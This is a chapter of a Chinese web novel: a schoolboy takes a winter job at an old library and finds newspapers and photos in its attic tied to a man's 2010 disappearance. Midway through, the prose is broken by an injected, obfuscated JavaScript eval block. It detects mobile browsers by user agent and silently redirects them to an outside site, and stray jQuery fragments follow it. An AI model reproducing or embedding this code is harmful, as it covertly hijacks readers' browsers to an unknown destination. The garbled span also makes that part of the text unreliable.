第二日清晨，宋恩年如同往常一样先帮外婆将早点摊子整理好。


    背起书包说，“外婆，我去找个寒假工。”


    宋奶奶看他那样子，忍不住地心疼，“大冷天的，找什么寒假工，在家就行了，这些天都没好好休息过。”


    宋恩年说，“我不找太累的，会准点回家。”


    南方湿冷，特别是下过雨之后，风一吹，只觉得那股冷气直往骨头缝里钻。


    宋恩年裹紧外婆硬塞给他的厚外套，呼出的白气在眼前短暂停留又消散。


    宋恩年踩着结霜的柏油路转过街角，来到一间老旧图书馆前，灰扑扑的罗马柱上贴着张招聘启事，在寒风中轻颤。


    这间图书馆他专门查过，前身是一间报社，且馆长喜好收藏一些就报纸和旧资讯。


    里面或许有他想知道的。


    “招图书馆管理员，一天30，日结。”


    宋恩年看着启事末尾的小字，手伸向被寒风掀起的纸角，轻轻一揭，将整张纸给撕了下来。


    玻璃门内，一位老人正踩着梯子整理书籍，呢子大衣下摆沾着细小的尘埃，在晨光中闪着细小的光。


    宋恩年叩响大门，走了进去。


    “您好。”少年站着时，像一根笔直的青松，他很有礼貌地问：“我看到您在外面张贴了招聘，想来问问。”


    老人扶正金丝眼镜，上下打量了他一番，“你还是个学生？字迹如何？”


    宋恩年从书包里抽出笔记，馆长从梯子上下来，接过少年递过来的本子。


    只那一眼，就让馆长眼神一亮。


    馆长经营这一间图书馆几十年，对书籍字迹之类的研究最多，对字迹工整者颇有好感。他眼里露出几分欣赏，将笔记还了回去。


    “字如其人。”馆长看着他，笑着问：“为什么想来这里？日薪不高，寒假人又多。”


    宋恩年诚恳说，“想利用起空闲时间，一直到下学期开学前，我每天都能来。”


    馆长笑了声，“还挺真诚。”


    “早上七点上班，别忘了。”


    宋恩年一笑，“谢谢馆长，我会准时到。”


    ......


    翌日清晨，霜花在窗玻璃上勾勒出蕨类植物般的纹路。


    宋恩年推开图书馆沉重的木门，风铃发出清脆的声响。


    馆长正泡好茶，抬手看了眼表，“挺准时，走吧，带你认认路。”


    宋恩年点头，跟着馆长穿过一排排书架。阳光透过彩色玻璃窗，在地板上投下斑驳的光影。


    这间图书馆年代久远，是百年前某间报刊亭改建而成，馆长一生都在收集那些泛黄的旧报纸和绝版书籍。


    “咱们图书馆面积不大，能放下的书籍有限。”馆长看着一排排整齐的书脊，“随着科技发展，咱们这就渐渐被遗忘了。”


    宋恩年随着馆主往里走，木质地板在脚下发出轻微的吱呀声。


    这间小图书馆一共分为三层，一楼的阅览区宽敞明亮，二楼较为高耸，需要爬梯子才能取到上层的书籍。三楼则是馆主堆放珍藏的地方，需要预约才能进入。


    宋恩年注意到，在这里看书的多数是白发苍苍的老人。他们戴着老花镜，在晨光中安静阅读的样子像是定格的老照片。


    馆主看出他的疑惑，笑着道：“在这看书的每一个人，我都认识。这么多年，也习惯了。”


    宋恩年点头，在下一个转角，却看见了一个熟悉的身影。


    余念正低头翻书，睫毛在脸颊投下细碎的阴影，发梢被阳光染成温暖的琥珀色。


    靠近窗户的外头，车流来来往往，都成为她的陪衬。


    宋恩年的心跳漏了一拍。没想到会在这里遇见她。


    喉结不自觉地滚动了一下，他强迫自己移开视线。


    “接下来去二楼看看。”馆长的话将他拉回现实。


    宋恩年又朝余念的方向望了一眼，跟上馆长的步伐。


    二楼视野更为开阔，但书架也更高，需要爬上移动梯才能整理上层的书籍。


    馆长拍了拍结实的橡木梯子，“这就是我张贴招聘的原因。年纪大了，爬上爬下的终究不方便。”


    宋恩年了然地说，“我明白了。”


    简短大四个字让人踏实，馆长很高兴，伸手拍了拍他的肩膀，“那我就放心了。好，今日就先这样。”


    宋恩年得了准许，可以随意逛逛。


    他忍不住回到一楼，在书架子往余念的方向看去。


    看她伏案阅读的样子，静谧得整个世界都安静了下来。阳光为她镀上一层柔和的轮廓，她旁边还摆着一个水杯，印有小雏菊的图案，在桌面投下小小的光斑。


    宋恩年不知怎么的，拿出手机，拍下了这一幕。


    余念似乎察觉到什么，抬头张望。他急忙转身，幸好书架子足够藏下一个人。


    余念没看到什么异样，继续低头看书了。


    过了好一会，宋恩年挪步离开此处。


    将一楼二楼全都逛了一遍，来到三楼前，最后一阶台阶上立着一扇门，是锁上的。


    透过门缝能看到里面堆满泛黄的报纸和资料。


    他记下这个细节，反正还有一个寒假的时间可以慢慢了解。


    接下来的几天，宋恩年每天准时到馆工作。清扫地板、整理书架、登记借阅，他做得一丝不苟。


    馆长将他的所作所为都看在眼里，看着这个清瘦的少年踮脚将书籍归位的背影，眼中满是赞赏。


    他叫住正在擦拭书架的宋恩年：“孩子，你做事很认真。”


    他递来一把古旧的铜钥匙，“这是三楼阁楼的钥匙，里面放着这些年的报纸和资讯，两个月不曾有人去过了，想请你帮忙打扫一番。”


    宋恩年接过钥匙，冰凉的触感让他想起第一天来时的情景。


    他来这的目的，就是为了这把钥匙。


    “我很乐意帮忙。”他说。


    馆长扶着老花镜说，“你清理一下灰尘就好，不用太细致。”


    宋恩年点头表示知晓。


    心中将馆长的话记了下来。“两个月不曾有人来过。”


    两个月前谁来过？


    他带着疑问踏上吱呀作响的楼梯。钥匙插入锁孔时发出生涩的摩擦声，推开门，陈年的油墨味混着灰尘扑面而来。


    阁楼很矮，里面只有四个书架，都落满了灰尘，里面还有一张书桌，是供人阅读的。


    宋恩年走过去，发现有一个书架子上专门摆放着成捆的报纸。


    他轻轻掩上门，指尖抚过那些泛黄的报纸，折痕上灰尘纷纷落下。


    “2008年...2010年...”


    他低声念着报纸上的日期，在一摞2010年的《榕城日报》前停下脚步。


    是孙剑失踪的那一年。


    宋恩年小心翼翼地解开麻绳，报纸发出细微的脆响。从一月份一直翻到六月的社会版，抽出来一看，在很小很小的边角区域里，一则不起眼的报道引起了他的注意：《码头工人涉嫌参与偷渡案》。


    报道旁边配着一张模糊的黑白照片，几个被警方押解的男子低着头，其中一人右手小指明显残缺。


    宋恩年的呼吸一滞，这就是孙剑。


    可他不是在追债人的威逼利诱下，在一个雨夜逃走了吗，怎么又会出现在这？


    阁楼里安静得能听见灰尘落定的声音。


    他深吸一口气，拿出手机将这份报纸的正反面都拍了下来。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489048|169667||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    再往下翻，就到了十月份的样刊。


    宋恩年皱眉，快速寻找，才发现其中的七、八、九月份的样刊全都没了。


    他的动作迅速，报纸在他手中沙沙作响。窗外突然刮起一阵寒风，吹得天窗玻璃嗡嗡震动。


    这说明有人将这则新闻的正面报道给销毁了。


    意识到这个，宋恩年快速将报纸整齐地放回原处。而后围着四个书架子仔细寻找，想要找到不一样的地方。


    果不其然，在书架最底层的蜘蛛网里，宋恩年发现一个落满灰尘的牛皮纸袋。


    他立马将牛皮纸袋拖了出来，拂去灰尘，只见上面用褪色的钢笔字写着“2010年特别报道素材”。


    纸袋里是一叠记者手稿和未刊登的照片。其中一张清晰地拍到了码头现场。


    照片角落里模糊的身影，那件熟悉的格子衬衫，正是孙剑离家时穿的那件，而他旁边，赫然是年轻时的老李。


    没有过多迟疑，宋恩年立马掏出手机，再将这些照片平铺开来，将这些照片拍了下来。


    但这手机实在老旧，想要拍得清晰，拍完还得保持两秒钟，这就大大降低了拍照速度。


    才拍了两张，楼下就传来慢悠悠的脚步声。


    宋恩年迅速将资料归位。钥匙转动的声音响起时，他低头假装在擦拭书架。


    “年龄大了，爬楼梯也不方便，才两个月没来，竟然就积了这样多的灰尘。”


    馆长推门进来，手里端着两杯热气腾腾的茶，语气有些感慨。


    宋恩年站起身，“确实需要好好清理一番。”


    馆长啜了一口茶，目光扫过那些整齐的报纸捆。“这些报纸也许久没动过了，以前最喜欢的就是看报纸。”


    “都变成研究的老古董咯。”


    宋恩年不经意地问：“这些资料...有人来查阅过吗？”


    “偶尔有些做研究的学生。”馆长摇摇头，“不过最近这几个月，除了你今天来打扫，只有一个戴眼镜的男人来过。”


    “戴眼镜的男人？”宋恩年动作一顿，“是学校的老师来做研究吗？”


    馆长摇摇头，“看着不像。四十来岁的样子，说话带着点北方口音，说是要写什么地方志。”


    他指了指桌上的登记簿，“来访三楼的都要登记，就在那边。”


    宋恩年手下动作不停，感兴趣似的问：“他...对哪些年份的报纸特别感兴趣？”


    “这我确实没注意过。”馆长眯起眼睛回忆，“说来也怪，两个月前他来的时候，我正好发现少了几张报纸。”


    他摇摇头，“不过这种旧报纸，也可能是之前哪个学生借阅时弄丢了。”


    窗外一阵冷风掠过，吹得天窗发出细微的震颤。宋恩年动作一顿，脑海中闪过老李那张戴着金丝眼镜的脸。


    “他是不是...”宋恩年斟酌着词句，“戴着金丝眼镜？左眼角有颗痣？”


    馆长惊讶地抬头：“你认识他？”


    宋恩年坦然说：“不算认识，之前在学校图书馆，我也曾见过他来借阅书籍。”


    馆长若有所思点头。


    宋恩年状似随意地走向登记簿，瞥了一眼，泛黄的纸页上，最近三个月的访客记录寥寥无几。


    “好了，今天就到这吧，总待在灰尘漫天的环境里也不好。”馆长说，“时候也不早了。”


    离开图书馆时，暮色已沉。


    傍晚的风有些大，也很冷。核桃巷口有一盏路灯年久失修，明明灭灭地照着宋恩年回家的路。


    他裹紧外套，将冻僵的手指塞进口袋。此刻他口袋里还装着另一样东西。


    从牛皮纸袋边缘悄悄撕下的一角，上面印着当年采访记者的联系方式。